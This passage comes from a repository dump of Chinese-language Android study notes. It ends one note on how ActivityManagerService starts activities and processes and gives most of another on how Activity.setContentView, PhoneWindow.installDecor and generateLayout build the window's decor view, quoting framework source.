r.app;\n\t\tif (proc == null) {\n\t\t\tproc = mService.mProcessNames.get(r.processName, r.info.applicationInfo.uid);\n\t\t}\n\t\tif (proc == null || proc.thread == null) {\n\t\t\tshowStartingIcon = true;\n\t\t}\n\t\tif (DEBUG_TRANSITION) Slog.v(TAG_TRANSITION,\n\t\t\t\t\"Prepare open transition: starting \" + r);\n\t\tif ((r.intent.getFlags() & Intent.FLAG_ACTIVITY_NO_ANIMATION) != 0) {\n\t\t\tmWindowManager.prepareAppTransition(AppTransition.TRANSIT_NONE, keepCurTransition);\n\t\t\tmNoAnimActivities.add(r);\n\t\t} else {\n\t\t\tmWindowManager.prepareAppTransition(newTask\n\t\t\t\t\t? r.mLaunchTaskBehind\n\t\t\t\t\t\t\t? AppTransition.TRANSIT_TASK_OPEN_BEHIND\n\t\t\t\t\t\t\t: AppTransition.TRANSIT_TASK_OPEN\n\t\t\t\t\t: AppTransition.TRANSIT_ACTIVITY_OPEN, keepCurTransition);\n\t\t\tmNoAnimActivities.remove(r);\n\t\t}\n\t\tmWindowManager.addAppToken(task.mActivities.indexOf(r),\n\t\t\t\tr.appToken, r.task.taskId, mStackId, r.info.screenOrientation, r.fullscreen,\n\t\t\t\t(r.info.flags & ActivityInfo.FLAG_SHOW_FOR_ALL_USERS) != 0, r.userId,\n\t\t\t\tr.info.configChanges, task.voiceSession != null, r.mLaunchTaskBehind);\n\t\tboolean doShow = true;\n\t\tif (newTask) {\n\t\t\t// Even though this activity is starting fresh, we still need\n\t\t\t// to reset it to make sure we apply affinities to move any\n\t\t\t// existing activities from other tasks in to it.\n\t\t\t// If the caller has requested that the target task be\n\t\t\t// reset, then do so.\n\t\t\tif ((r.intent.getFlags() & Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED) != 0) {\n\t\t\t\tresetTaskIfNeededLocked(r, r);\n\t\t\t\tdoShow = topRunningNonDelayedActivityLocked(null) == r;\n\t\t\t}\n\t\t} else if (options != null && new ActivityOptions(options).getAnimationType()\n\t\t\t\t== ActivityOptions.ANIM_SCENE_TRANSITION) {\n\t\t\tdoShow = false;\n\t\t}\n\t\tif (r.mLaunchTaskBehind) {\n\t\t\t// Don't do a starting window for mLaunchTaskBehind. More importantly make sure we\n\t\t\t// tell WindowManager that r is visible even though it is at the back of the stack.\n\t\t\tmWindowManager.setAppVisibility(r.appToken, true);\n\t\t\tensureActivitiesVisibleLocked(null, 0);\n\t\t} else if (SHOW_APP_STARTING_PREVIEW && doShow) {\n\t\t\t// Figure out if we are transitioning from another activity that is\n\t\t\t// \"has the same starting icon\" as the next one.  This allows the\n\t\t\t// window manager to keep the previous window it had previously\n\t\t\t// created, if it still had one.\n\t\t\tActivityRecord prev = mResumedActivity;\n\t\t\tif (prev != null) {\n\t\t\t\t// We don't want to reuse the previous starting preview if:\n\t\t\t\t// (1) The current activity is in a different task.\n\t\t\t\tif (prev.task != r.task) {\n\t\t\t\t\tprev = null;\n\t\t\t\t}\n\t\t\t\t// (2) The current activity is already displayed.\n\t\t\t\telse if (prev.nowVisible) {\n\t\t\t\t\tprev = null;\n\t\t\t\t}\n\t\t\t}\n\t\t\tmWindowManager.setAppStartingWindow(\n\t\t\t\t\tr.appToken, r.packageName, r.theme,\n\t\t\t\t\tmService.compatibilityInfoForPackageLocked(\n\t\t\t\t\t\t\tr.info.applicationInfo), r.nonLocalizedLabel,\n\t\t\t\t\tr.labelRes, r.icon, r.logo, r.windowFlags,\n\t\t\t\t\tprev != null ? prev.appToken : null, showStartingIcon);\n\t\t\tr.mStartingWindowShown = true;\n\t\t}\n\t} else {\n\t\t// If this is the first activity, don't do any fancy animations,\n\t\t// because there is nothing for it to animate on top of.\n\t\tmWindowManager.addAppToken(task.mActivities.indexOf(r), r.appToken,\n\t\t\t\tr.task.taskId, mStackId, r.info.screenOrientation, r.fullscreen,\n\t\t\t\t(r.info.flags & ActivityInfo.FLAG_SHOW_FOR_ALL_USERS) != 0, r.userId,\n\t\t\t\tr.info.configChanges, task.voiceSession != null, r.mLaunchTaskBehind);\n\t\tActivityOptions.abort(options);\n\t\toptions = null;\n\t}\n\tif (VALIDATE_TOKENS) {\n\t\tvalidateAppTokensLocked();\n\t}\n\n\tif (doResume) {\n\t\tmStackSupervisor.resumeTopActivitiesLocked(this, r, options);\n\t}\n}\n```\n\n 在Android应用程序框架层中，是由ActivityManagerService组件负责为Android应用程序创建新的进程的，它本来也是运行在一个独立的进程之中，不过这个进程是在系统启动的过程中创建的。\n ActivityManagerService组件一般会在什么情况下会为应用程序创建一个新的进程呢？当系统决定要在一个新的进程中启动一个Activity或者Service时，它就会创建一个新的进程了，\n 然后在这个新的进程中启动这个Activity或者Service\n\n    \n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/SourceAnalysis/Activity界面绘制过程详解.md",
    "content": "Activity界面绘制过程详解\n===\n\n设置界面首先就是`Activity.setContentView()`方法：我们先看一下他的源码：\n```java\n/**\n * Set the activity content from a layout resource.  The resource will be\n * inflated, adding all top-level views to the activity.\n *\n * @param layoutResID Resource ID to be inflated.\n *\n * @see #setContentView(android.view.View)\n * @see #setContentView(android.view.View, android.view.ViewGroup.LayoutParams)\n */\npublic void setContentView(int layoutResID) {\n\tgetWindow().setContentView(layoutResID);\n\tinitWindowDecorActionBar();\n}\n```\n`getWindow()`就是获取该页面的窗体`Window`，该类是一个抽象类，他有一个唯一的子类`PhoneWindow`.\n```java\n/**\n * Retrieve the current {@link android.view.Window} for the activity.\n * This can be used to directly access parts of the Window API that\n * are not available through Activity/Screen.\n *\n * @return Window The current window, or null if the activity is not\n *         visual.\n */\npublic Window getWindow() {\n\treturn mWindow;\n}\n```\n接下来，我们看一下`PhoneWindow.setContentView()`方法。(简单的理解是`PhoneWindow`把`DectorView`(`FrameLayout`的子类)进行包装，将它作为窗口的根`View`)\n```java\n@Override\npublic void setContentView(int layoutResID) {\n\n\t// mContentParent 是当前window显示内容的父布局，它只能是mDecor或mDecor的子View,如果mContentParent为null，说明是第一次调用setContentView方法\n\t// Note: FEATURE_CONTENT_TRANSITIONS may be set in the process of installing the window\n\t// decor, when theme attributes and the like are crystalized. Do not check the feature\n\t// before this happens.\n\tif (mContentParent == null) {\n\t    // 内部会创建mContentParent, 如果mDecor为null就创建，然后如果mContentParent为null，就根据当前要显示的主题去添加对应的布局，\n\t\t// 并把该布局中id为content的ViewGroup赋值给mContentParent。\n\t\tinstallDecor();\n\t} else if (!hasFeature(FEATURE_CONTENT_TRANSITIONS)) {\n\t\t// 多次调用setContentView，可能是第二次、第三次，先把之前的页面内容移除\n\t\tmContentParent.removeAllViews();\n\t}\n\n\tif (hasFeature(FEATURE_CONTENT_TRANSITIONS)) {\n\t\tfinal Scene newScene = Scene.getSceneForLayout(mContentParent, layoutResID,\n\t\t\t\tgetContext());\n\t\ttransitionTo(newScene);\n\t} else {\n\t    // 把布局inflate后添加到mContentParent中\n\t\tmLayoutInflater.inflate(layoutResID, mContentParent);\n\t}\n\tfinal Callback cb = getCallback();\n\tif (cb != null && !isDestroyed()) {\n\t\tcb.onContentChanged();\n\t}\n}\n```\n\n上面简单的说明了`installDecor()`的作用，这里我们在源码中仔细说明一下, 通过这个源码\n我们知道设置主题要在`setContentView()`之前去调用，如用代码设置`requestWindowFeature()`设置主题时要在`setContentView()`之前设置才有用.\n```java\nprivate void installDecor() {\n\tif (mDecor == null) {\n\t\t// 内部就是new 一个 DecorView\n\t\tmDecor = generateDecor();\n\t\tmDecor.setDescendantFocusability(ViewGroup.FOCUS_AFTER_DESCENDANTS);\n\t\tmDecor.setIsRootNamespace(true);\n\t\tif (!mInvalidatePanelMenuPosted && mInvalidatePanelMenuFeatures != 0) {\n\t\t\tmDecor.postOnAnimation(mInvalidatePanelMenuRunnable);\n\t\t}\n\t}\n\tif (mContentParent == null) {\n\t\t// 根据当前主题去选择对应的布局文件，然后把布局中的id=content(一般为FrameLayout)部分赋值给mContentParent.\n\t\tmContentParent = generateLayout(mDecor);\n\n\t\t// Set up decor part of UI to ignore fitsSystemWindows if appropriate.\n\t\tmDecor.makeOptionalFitsSystemWindows();\n\n\t\tfinal DecorContentParent decorContentParent = (DecorContentParent) mDecor.findViewById(\n\t\t\t\tR.id.decor_content_parent);\n\n\t\tif (decorContentParent != null) {\n\t\t\tmDecorContentParent = decorContentParent;\n\t\t\tmDecorContentParent.setWindowCallback(getCallback());\n\t\t\tif (mDecorContentParent.getTitle() == null) {\n\t\t\t\tmDecorContentParent.setWindowTitle(mTitle);\n\t\t\t}\n\n\t\t\tfinal int localFeatures = getLocalFeatures();\n\t\t\tfor (int i = 0; i < FEATURE_MAX; i++) {\n\t\t\t\tif ((localFeatures & (1 << i)) != 0) {\n\t\t\t\t\tmDecorContentParent.initFeature(i);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tmDecorContentParent.setUiOptions(mUiOptions);\n\n\t\t\tif ((mResourcesSetFlags & FLAG_RESOURCE_SET_ICON) != 0 ||\n\t\t\t\t\t(mIconRes != 0 && !mDecorContentParent.hasIcon())) {\n\t\t\t\tmDecorContentParent.setIcon(mIconRes);\n\t\t\t} else if ((mResourcesSetFlags & FLAG_RESOURCE_SET_ICON) == 0 &&\n\t\t\t\t\tmIconRes == 0 && !mDecorContentParent.hasIcon()) {\n\t\t\t\tmDecorContentParent.setIcon(\n\t\t\t\t\t\tgetContext().getPackageManager().getDefaultActivityIcon());\n\t\t\t\tmResourcesSetFlags |= FLAG_RESOURCE_SET_ICON_FALLBACK;\n\t\t\t}\n\t\t\tif ((mResourcesSetFlags & FLAG_RESOURCE_SET_LOGO) != 0 ||\n\t\t\t\t\t(mLogoRes != 0 && !mDecorContentParent.hasLogo())) {\n\t\t\t\tmDecorContentParent.setLogo(mLogoRes);\n\t\t\t}\n\n\t\t\t// Invalidate if the panel menu hasn't been created before this.\n\t\t\t// Panel menu invalidation is deferred avoiding application onCreateOptionsMenu\n\t\t\t// being called in the middle of onCreate or similar.\n\t\t\t// A pending invalidation will typically be resolved before the posted message\n\t\t\t// would run normally in order to satisfy instance state restoration.\n\t\t\tPanelFeatureState st = getPanelState(FEATURE_OPTIONS_PANEL, false);\n\t\t\tif (!isDestroyed() && (st == null || st.menu == null)) {\n\t\t\t\tinvalidatePanelMenu(FEATURE_ACTION_BAR);\n\t\t\t}\n\t\t} else {\n\t\t\tmTitleView = (TextView)findViewById(R.id.title);\n\t\t\tif (mTitleView != null) {\n\t\t\t\tmTitleView.setLayoutDirection(mDecor.getLayoutDirection());\n\t\t\t\tif ((getLocalFeatures() & (1 << FEATURE_NO_TITLE)) != 0) {\n\t\t\t\t\tView titleContainer = findViewById(\n\t\t\t\t\t\t\tR.id.title_container);\n\t\t\t\t\tif (titleContainer != null) {\n\t\t\t\t\t\ttitleContainer.setVisibility(View.GONE);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tmTitleView.setVisibility(View.GONE);\n\t\t\t\t\t}\n\t\t\t\t\tif (mContentParent instanceof FrameLayout) {\n\t\t\t\t\t\t((FrameLayout)mContentParent).setForeground(null);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tmTitleView.setText(mTitle);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (mDecor.getBackground() == null && mBackgroundFallbackResource != 0) {\n\t\t\tmDecor.setBackgroundFallback(mBackgroundFallbackResource);\n\t\t}\n\n\t\t// Only inflate or create a new TransitionManager if the caller hasn't\n\t\t// already set a custom one.\n\t\tif (hasFeature(FEATURE_ACTIVITY_TRANSITIONS)) {\n\t\t\tif (mTransitionManager == null) {\n\t\t\t\tfinal int transitionRes = getWindowStyle().getResourceId(\n\t\t\t\t\t\tR.styleable.Window_windowContentTransitionManager,\n\t\t\t\t\t\t0);\n\t\t\t\tif (transitionRes != 0) {\n\t\t\t\t\tfinal TransitionInflater inflater = TransitionInflater.from(getContext());\n\t\t\t\t\tmTransitionManager = inflater.inflateTransitionManager(transitionRes,\n\t\t\t\t\t\t\tmContentParent);\n\t\t\t\t} else {\n\t\t\t\t\tmTransitionManager = new TransitionManager();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tmEnterTransition = getTransition(mEnterTransition, null,\n\t\t\t\t\tR.styleable.Window_windowEnterTransition);\n\t\t\tmReturnTransition = getTransition(mReturnTransition, USE_DEFAULT_TRANSITION,\n\t\t\t\t\tR.styleable.Window_windowReturnTransition);\n\t\t\tmExitTransition = getTransition(mExitTransition, null,\n\t\t\t\t\tR.styleable.Window_windowExitTransition);\n\t\t\tmReenterTransition = getTransition(mReenterTransition, USE_DEFAULT_TRANSITION,\n\t\t\t\t\tR.styleable.Window_windowReenterTransition);\n\t\t\tmSharedElementEnterTransition = getTransition(mSharedElementEnterTransition, null,\n\t\t\t\t\tR.styleable.Window_windowSharedElementEnterTransition);\n\t\t\tmSharedElementReturnTransition = getTransition(mSharedElementReturnTransition,\n\t\t\t\t\tUSE_DEFAULT_TRANSITION,\n\t\t\t\t\tR.styleable.Window_windowSharedElementReturnTransition);\n\t\t\tmSharedElementExitTransition = getTransition(mSharedElementExitTransition, null,\n\t\t\t\t\tR.styleable.Window_windowSharedElementExitTransition);\n\t\t\tmSharedElementReenterTransition = getTransition(mSharedElementReenterTransition,\n\t\t\t\t\tUSE_DEFAULT_TRANSITION,\n\t\t\t\t\tR.styleable.Window_windowSharedElementReenterTransition);\n\t\t\tif (mAllowEnterTransitionOverlap == null) {\n\t\t\t\tmAllowEnterTransitionOverlap = getWindowStyle().getBoolean(\n\t\t\t\t\t\tR.styleable.Window_windowAllowEnterTransitionOverlap, true);\n\t\t\t}\n\t\t\tif (mAllowReturnTransitionOverlap == null) {\n\t\t\t\tmAllowReturnTransitionOverlap = getWindowStyle().getBoolean(\n\t\t\t\t\t\tR.styleable.Window_windowAllowReturnTransitionOverlap, true);\n\t\t\t}\n\t\t\tif (mBackgroundFadeDurationMillis < 0) {\n\t\t\t\tmBackgroundFadeDurationMillis = getWindowStyle().getInteger(\n\t\t\t\t\t\tR.styleable.Window_windowTransitionBackgroundFadeDuration,\n\t\t\t\t\t\tDEFAULT_BACKGROUND_FADE_DURATION_MS);\n\t\t\t}\n\t\t\tif (mSharedElementsUseOverlay == null) {\n\t\t\t\tmSharedElementsUseOverlay = getWindowStyle().getBoolean(\n\t\t\t\t\t\tR.styleable.Window_windowSharedElementsUseOverlay, true);\n\t\t\t}\n\t\t}\n\t}\n}\n```\n\n我们先看一下`generateLayout`的源码：\n```java\nprotected ViewGroup generateLayout(DecorView decor) {\n\t// Apply data from current theme.\n\n\tTypedArray a = getWindowStyle();\n\n\tif (false) {\n\t\tSystem.out.println(\"From style:\");\n\t\tString s = \"Attrs:\";\n\t\tfor (int i = 0; i < R.styleable.Window.length; i++) {\n\t\t\ts = s + \" \" + Integer.toHexString(R.styleable.Window[i]) + \"=\"\n\t\t\t\t\t+ a.getString(i);\n\t\t}\n\t\tSystem.out.println(s);\n\t}\n\n\tmIsFloating = a.getBoolean(R.styleable.Window_windowIsFloating, false);\n\tint flagsToUpdate = (FLAG_LAYOUT_IN_SCREEN|FLAG_LAYOUT_INSET_DECOR)\n\t\t\t& (~getForcedWindowFlags());\n\tif (mIsFloating) {\n\t\tsetLayout(WRAP_CONTENT, WRAP_CONTENT);\n\t\tsetFlags(0, flagsToUpdate);\n\t} else {\n\t\tsetFlags(FLAG_LAYOUT_IN_SCREEN|FLAG_LAYOUT_INSET_DECOR, flagsToUpdate);\n\t}\n\n\tif (a.getBoolean(R.styleable.Window_windowNoTitle, false)) {\n\t\trequestFeature(FEATURE_NO_TITLE);\n\t} else if (a.getBoolean(R.styleable.Window_windowActionBar, false)) {\n\t\t// Don't allow an action bar if there is no title.\n\t\trequestFeature(FEATURE_ACTION_BAR);\n\t}\n\n\tif (a.getBoolean(R.styleable.Window_windowActionBarOverlay, false)) {\n\t\trequestFeature(FEATURE_ACTION_BAR_OVERLAY);\n\t}\n\n\tif (a.getBoolean(R.styleable.Window_windowActionModeOverlay, false)) {\n\t\trequestFeature(FEATURE_ACTION_MODE_OVERLAY);\n\t}\n\n\tif (a.getBoolean(R.styleable.Window_windowSwipeToDismiss, false)) {\n\t\trequestFeature(FEATURE_SWIPE_TO_DISMISS);\n\t}\n\n\tif (a.getBoolean(R.styleable.Window_windowFullscreen, false)) {\n\t\tsetFlags(FLAG_FULLSCREEN, FLAG_FULLSCREEN & (~getForcedWindowFlags()));\n\t}\n\n\tif (a.getBoolean(R.styleable.Window_windowTranslucentStatus,\n\t\t\tfalse)) {\n\t\tsetFlags(FLAG_TRANSLUCENT_STATUS, FLAG_TRANSLUCENT_STATUS\n\t\t\t\t& (~getForcedWindowFlags()));\n\t}\n\n\tif (a.getBoolean(R.styleable.Window_windowTranslucentNavigation,\n\t\t\tfalse)) {\n\t\tsetFlags(FLAG_TRANSLUCENT_NAVIGATION, FLAG_TRANSLUCENT_NAVIGATION\n\t\t\t\t& (~getForcedWindowFlags()));\n\t}\n\n\tif (a.getBoolean(R.styleable.Window_windowOverscan, false)) {\n\t\tsetFlags(FLAG_LAYOUT_IN_OVERSCAN, FLAG_LAYOUT_IN_OVERSCAN&(~getForcedWindowFlags()));\n\t}\n\n\tif (a.getBoolean(R.styleable.Window_windowShowWallpaper, false)) {\n\t\tsetFlags(FLAG_SHOW_WALLPAPER, FLAG_SHOW_WALLPAPER&(~getForcedWindowFlags()));\n\t}\n\n\tif (a.getBoolean(R.styleable.Window_windowEnableSplitTouch,\n\t\t\tgetContext().getApplicationInfo().targetSdkVersion\n\t\t\t\t\t>= android.os.Build.VERSION_CODES.HONEYCOMB)) {\n\t\tsetFlags(FLAG_SPLIT_TOUCH, FLAG_SPLIT_TOUCH&(~getForcedWindowFlags()));\n\t}\n\n\ta.getValue(R.styleable.Window_windowMinWidthMajor, mMinWidthMajor);\n\ta.getValue(R.styleable.Window_windowMinWidthMinor, mMinWidthMinor);\n\tif (a.hasValue(R.styleable.Window_windowFixedWidthMajor)) {\n\t\tif (mFixedWidthMajor == null) mFixedWidthMajor = new TypedValue();\n\t\ta.getValue(R.styleable.Window_windowFixedWidthMajor,\n\t\t\t\tmFixedWidthMajor);\n\t}\n\tif (a.hasValue(R.styleable.Window_windowFixedWidthMinor)) {\n\t\tif (mFixedWidthMinor == null) mFixedWidthMinor = new TypedValue();\n\t\ta.getValue(R.styleable.Window_windowFixedWidthMinor,\n\t\t\t\tmFixedWidthMinor);\n\t}\n\tif (a.hasValue(R.styleable.Window_windowFixedHeightMajor)) {\n\t\tif (mFixedHeightMajor == null) mFixedHeightMajor = new TypedValue();\n\t\ta.getValue(R.styleable.Window_windowFixedHeightMajor,\n\t\t\t\tmFixedHeightMajor);\n\t}\n\tif (a.hasValue(R.styleable.Window_windowFixedHeightMinor)) {\n\t\tif (mFixedHeightMinor == null) mFixedHeightMinor = new TypedValue();\n\t\ta.getValue(R.styleable.Window_windowFixedHeightMinor,\n\t\t\t\tmFixedHeightMinor);\n\t}\n\tif (a.getBoolean(R.styleable.Window_windowContentTransitions, false)) {\n\t\trequestFeature(FEATURE_CONTENT_TRANSITIONS);\n\t}\n\tif (a.getBoolean(R.styleable.Window_windowActivityTransitions, false)) {\n\t\trequestFeature(FEATURE_ACTIVITY_TRANSITIONS);\n\t}\n\n\tfinal WindowManager windowService = (WindowManager) getContext().getSystemService(\n\t\t\tContext.WINDOW_SERVICE);\n\tif (windowService != null) {\n\t\tfinal Display display = windowService.getDefaultDisplay();\n\t\tfinal boolean shouldUseBottomOutset =\n\t\t\t\tdisplay.getDisplayId() == Display.DEFAULT_DISPLAY\n\t\t\t\t\t\t|| (getForcedWindowFlags() & FLAG_FULLSCREEN) != 0;\n\t\tif (shouldUseBottomOutset && a.hasValue(R.styleable.Window_windowOutsetBottom)) {\n\t\t\tif (mOutsetBottom == null) mOutsetBottom = new TypedValue();\n\t\t\ta.getValue(R.styleable.Window_windowOutsetBottom,\n\t\t\t\t\tmOutsetBottom);\n\t\t}\n\t}\n\n\tfinal Context context = getContext();\n\tfinal int targetSdk = context.getApplicationInfo().targetSdkVersion;\n\tfinal boolean targetPreHoneycomb = targetSdk < android.os.Build.VERSION_CODES.HONEYCOMB;\n\tfinal boolean targetPreIcs = targetSdk < android.os.Build.VERSION_CODES.ICE_CREAM_SANDWICH;\n\tfinal boolean targetPreL = targetSdk < android.os.Build.VERSION_CODES.LOLLIPOP;\n\tfinal boolean targetHcNeedsOptions = context.getResources().getBoolean(\n\t\t\tR.bool.target_honeycomb_needs_options_menu);\n\tfinal boolean noActionBar = !hasFeature(FEATURE_ACTION_BAR) || hasFeature(FEATURE_NO_TITLE);\n\n\tif (targetPreHoneycomb || (targetPreIcs && targetHcNeedsOptions && noActionBar)) {\n\t\taddFlags(WindowManager.LayoutParams.FLAG_NEEDS_MENU_KEY);\n\t} else {\n\t\tclearFlags(WindowManager.LayoutParams.FLAG_NEEDS_MENU_KEY);\n\t}\n\n\t// Non-floating windows on high end devices must put up decor beneath the system bars and\n\t// therefore must know about visibility changes of those.\n\tif (!mIsFloating && ActivityManager.isHighEndGfx()) {\n\t\tif (!targetPreL && a.getBoolean(\n\t\t\t\tR.styleable.Window_windowDrawsSystemBarBackgrounds,\n\t\t\t\tfalse)) {\n\t\t\tsetFlags(FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS,\n\t\t\t\t\tFLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS & ~getForcedWindowFlags());\n\t\t}\n\t}\n\tif (!mForcedStatusBarColor) {\n\t\tmStatusBarColor = a.getColor(R.styleable.Window_statusBarColor, 0xFF000000);\n\t}\n\tif (!mForcedNavigationBarColor) {\n\t\tmNavigationBarColor = a.getColor(R.styleable.Window_navigationBarColor, 0xFF000000);\n\t}\n\n\tif (mAlwaysReadCloseOnTouchAttr || getContext().getApplicationInfo().targetSdkVersion\n\t\t\t>= android.os.Build.VERSION_CODES.HONEYCOMB) {\n\t\tif (a.getBoolean(\n\t\t\t\tR.styleable.Window_windowCloseOnTouchOutside,\n\t\t\t\tfalse)) {\n\t\t\tsetCloseOnTouchOutsideIfNotSet(true);\n\t\t}\n\t}\n\n\tWindowManager.LayoutParams params = getAttributes();\n\n\tif (!hasSoftInputMode()) {\n\t\tparams.softInputMode = a.getInt(\n\t\t\t\tR.styleable.Window_windowSoftInputMode,\n\t\t\t\tparams.softInputMode);\n\t}\n\n\tif (a.getBoolean(R.styleable.Window_backgroundDimEnabled,\n\t\t\tmIsFloating)) {\n\t\t/* All dialogs should have the window dimmed */\n\t\tif ((getForcedWindowFlags()&WindowManager.LayoutParams.FLAG_DIM_BEHIND) == 0) {\n\t\t\tparams.flags |= WindowManager.LayoutParams.FLAG_DIM_BEHIND;\n\t\t}\n\t\tif (!haveDimAmount()) {\n\t\t\tparams.dimAmount = a.getFloat(\n\t\t\t\t\tandroid.R.styleable.Window_backgroundDimAmount, 0.5f);\n\t\t}\n\t}\n\n\tif (params.windowAnimations == 0) {\n\t\tparams.windowAnimations = a.getResourceId(\n\t\t\t\tR.styleable.Window_windowAnimationStyle, 0);\n\t}\n\n\t// The rest are only done if this window is not embedded; otherwise,\n\t// the values are inherited from our container.\n\tif (getContainer() == null) {\n\t\tif (mBackgroundDrawable == null) {\n\t\t\tif (mBackgroundResource == 0) {\n\t\t\t\tmBackgroundResource = a.getResourceId(\n\t\t\t\t\t\tR.styleable.Window_windowBackground, 0);\n\t\t\t}\n\t\t\tif (mFrameResource == 0) {\n\t\t\t\tmFrameResource = a.getResourceId(R.styleable.Window_windowFrame, 0);\n\t\t\t}\n\t\t\tmBackgroundFallbackResource = a.getResourceId(\n\t\t\t\t\tR.styleable.Window_windowBackgroundFallback, 0);\n\t\t\tif (false) {\n\t\t\t\tSystem.out.println(\"Background: \"\n\t\t\t\t\t\t+ Integer.toHexString(mBackgroundResource) + \" Frame: \"\n\t\t\t\t\t\t+ Integer.toHexString(mFrameResource));\n\t\t\t}\n\t\t}\n\t\tmElevation = a.getDimension(R.styleable.Window_windowElevation, 0);\n\t\tmClipToOutline = a.getBoolean(R.styleable.Window_windowClipToOutline, false);\n\t\tmTextColor = a.getColor(R.styleable.Window_textColor, Color.TRANSPARENT);\n\t}\n\n\t// 上面的那一块都是对Activity中设置的主题进行判断。下面就是根据不同的主题，选择不同的布局文件。\n\t// Inflate the window decor.\n\n\tint layoutResource;\n\tint features = getLocalFeatures();\n\t// System.out.println(\"Features: 0x\" + Integer.toHexString(features));\n\tif ((features & (1 << FEATURE_SWIPE_TO_DISMISS)) != 0) {\n\t\tlayoutResource = R.layout.screen_swipe_dismiss;\n\t} else if ((features & ((1 << FEATURE_LEFT_ICON) | (1 << FEATURE_RIGHT_ICON))) != 0) {\n\t\tif (mIsFloating) {\n\t\t\tTypedValue res = new TypedValue();\n\t\t\tgetContext().getTheme().resolveAttribute(\n\t\t\t\t\tR.attr.dialogTitleIconsDecorLayout, res, true);\n\t\t\tlayoutResource = res.resourceId;\n\t\t} else {\n\t\t\tlayoutResource = R.layout.screen_title_icons;\n\t\t}\n\t\t// XXX Remove this once action bar supports these features.\n\t\tremoveFeature(FEATURE_ACTION_BAR);\n\t\t// System.out.println(\"Title Icons!\");\n\t} else if ((features & ((1 << FEATURE_PROGRESS) | (1 << FEATURE_INDETERMINATE_PROGRESS))) != 0\n\t\t\t&& (features & (1 << FEATURE_ACTION_BAR)) == 0) {\n\t\t// Special case for a window with only a progress bar (and title).\n\t\t// XXX Need to have a no-title version of embedded windows.\n\t\tlayoutResource = R.layout.screen_progress;\n\t\t// System.out.println(\"Progress!\");\n\t} else if ((features & (1 << FEATURE_CUSTOM_TITLE)) != 0) {\n\t\t// Special case for a window with a custom title.\n\t\t// If the window is floating, we need a dialog layout\n\t\tif (mIsFloating) {\n\t\t\tTypedValue res = new TypedValue();\n\t\t\tgetContext().getTheme().resolveAttribute(\n\t\t\t\t\tR.attr.dialogCustomTitleDecorLayout, res, true);\n\t\t\tlayoutResource = res.resourceId;\n\t\t} else {\n\t\t\tlayoutResource = R.layout.screen_custom_title;\n\t\t}\n\t\t// XXX Remove this once action bar supports these features.\n\t\tremoveFeature(FEATURE_ACTION_BAR);\n\t} else if ((features & (1 << FEATURE_NO_TITLE)) == 0) {\n\t\t// If no other features and not embedded, only need a title.\n\t\t// If the window is floating, we need a dialog layout\n\t\tif (mIsFloating) {\n\t\t\tTypedValue res = new TypedValue();\n\t\t\tgetContext().getTheme().resolveAttribute(\n\t\t\t\t\tR.attr.dialogTitleDecorLayout, res, true);\n\t\t\tlayoutResource = res.resourceId;\n\t\t} else if ((features & (1 << FEATURE_ACTION_BAR)) != 0) {\n\t\t\tlayoutResource = a.getResourceId(\n\t\t\t\t\tR.styleable.Window_windowActionBarFullscreenDecorLayout,\n\t\t\t\t\tR.layout.screen_action_bar);\n\t\t} else {\n\t\t\tlayoutResource = R.layout.screen_title;\n\t\t}\n\t\t// System.out.println(\"Title!\");\n\t} else if ((features & (1 << FEATURE_ACTION_MODE_OVERLAY)) != 0) {\n\t\tlayoutResource = R.layout.screen_simple_overlay_action_mode;\n\t} else {\n\t\t// Embedded, so no decoration is needed.\n\t\tlayoutResource = R.layout.screen_simple;\n\t\t// System.out.println(\"Simple!\");\n\t}\n\n\tmDecor.startChanging();\n\n\t// inflate对应的布局文件，并添加到mDecor中。\n\tView in = mLayoutInflater.inflate(layoutResource, null);\n\tdecor.addView(in, new ViewGroup.LayoutParams(MATCH_PARENT, MATCH_PARENT));\n\tmContentRoot = (ViewGroup) in;\n\n\t// 找到布局中android:id=\"@android:id/content\"。的ViewGroup赋值给contentParent,一般是FrameLayout\n\tViewGroup contentParent = (ViewGroup)findViewById(ID_ANDROID_CONTENT);\n\tif (contentParent == null) {\n\t\tthrow new RuntimeException(\"Window couldn't find content container view\");\n\t}\n\n\tif ((features & (1 << FEATURE_INDETERMINATE_PROGRESS)) != 0) {\n\t\tProgressBar progress = getCircularProgressBar(false);\n\t\tif (progress != null) {\n\t\t\tprogress.setIndeterminate(true);\n\t\t}\n\t}\n\n\tif ((features & (1 << FEATURE_SWIPE_TO_DISMISS)) != 0) {\n\t\tregisterSwipeCallbacks();\n\t}\n\n\t// Remaining setup -- of background and title -- that only applies\n\t// to top-level windows.\n\tif (getContainer() == null) {\n\t\tfinal Drawable background;\n\t\tif (mBackgroundResource != 0) {\n\t\t\tbackground = getContext().getDrawable(mBackgroundResource);\n\t\t} else {\n\t\t\tbackground = mBackgroundDrawable;\n\t\t}\n\t\tmDecor.setWindowBackground(background);\n\n\t\tfinal Drawable frame;\n\t\tif (mFrameResource != 0) {\n\t\t\tframe = getContext().getDrawable(mFrameResource);\n\t\t} else {\n\t\t\tframe = null;\n\t\t}\n\t\tmDecor.setWindowFrame(frame);\n\n\t\tmDecor.setElevation(mElevation);\n\t\tmDecor.setClipToOutline(mClipToOutline);\n\n\t\tif (mTitle != null) {\n\t\t\tsetTitle(mTitle);\n\t\t}\n\n\t\tif (mTitleColor == 0) {\n\t\t\tmTitleColor = mTextColor;\n\t\t}\n\t\tsetTitleColor(mTitleColor);\n\t}\n\n\tmDecor.finishChanging();\n\n\treturn contentParent;\n}\t\n```\n上面看到有很多相应主题的布局文件，我们就以典型的`R.layout.screen_title`为例看一下。\n```xml\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:orientation=\"vertical\"\n    android:fitsSystemWindows=\"true\">\n    <!-- Popout bar for action modes -->\n    <ViewStub android:id=\"@+id/action_mode_bar_stub\"\n              android:inflatedId=\"@+id/action_mode_bar\"\n              android:layout=\"@layout/action_mode_bar\"\n              android:layout_width=\"match_parent\"\n              android:layout_height=\"wrap_content\"\n              